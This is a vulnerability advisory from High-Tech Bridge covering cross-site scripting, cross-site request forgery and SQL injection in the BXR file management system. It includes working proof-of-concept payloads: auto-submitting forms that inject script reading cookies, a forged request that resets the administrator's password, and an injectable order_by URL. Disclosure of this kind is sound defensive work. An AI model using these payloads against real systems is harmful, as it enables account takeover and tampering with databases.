Multiple Vulnerabilities in BXR

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BXR which could be exploited to perform cross-site scripting, cross-site request forgery and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in BXR
1.1 The vulnerability exists due to input sanitation error in the "setting[site_title]" parameter in /settings/update_settings/. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/settings/update_settings" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value='BXR File Management System"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" />
<input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." />
<input type="hidden" name="setting[let_users_change_default_folder]" value="0" />
<input type="hidden" name="setting[use_ferret]" value="0" />
<input type="hidden" name="setting[overwrite_existing_files]" value="0" />
<input type="hidden" name="commit" value="Update Settings" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "search[query]" parameter in /search/show_results /. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/search/show_results" method="post" name="main" >
<input type="hidden" name="search_type" value="filename" />
<input type="hidden" name="search[query]" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Find!" />
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to input sanitation error in the "tag_1" parameter in /file/do_the_upload/. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

2) Cross-site request forgery in BXR
The vulnerability exists due to insufficient validation of the request origin in user/update/. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/user/update/1" method="post" name="main" >
<input type="hidden" name="user[name]" value="admin" />
<input type="hidden" name="user[email]" value="myemail@example.com" />
<input type="hidden" name="user[password]" value="123" />
<input type="hidden" name="user[password_confirmation]" value="123" />
<input type="hidden" name="belongs_to_group[1]" value="yes" />
<input type="hidden" name="user[default_folder_id]" value="1" />
<input type="hidden" name="commit" value="Save" />
</form>
<script>
document.main.submit();
</script>

3) SQL injection vulnerability in BXR: CVE-2010-4963
The vulnerability exists due to input sanitation errors in the "order_by" parameter in /folder/list. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/folder/list?order_by=filesize'+SQL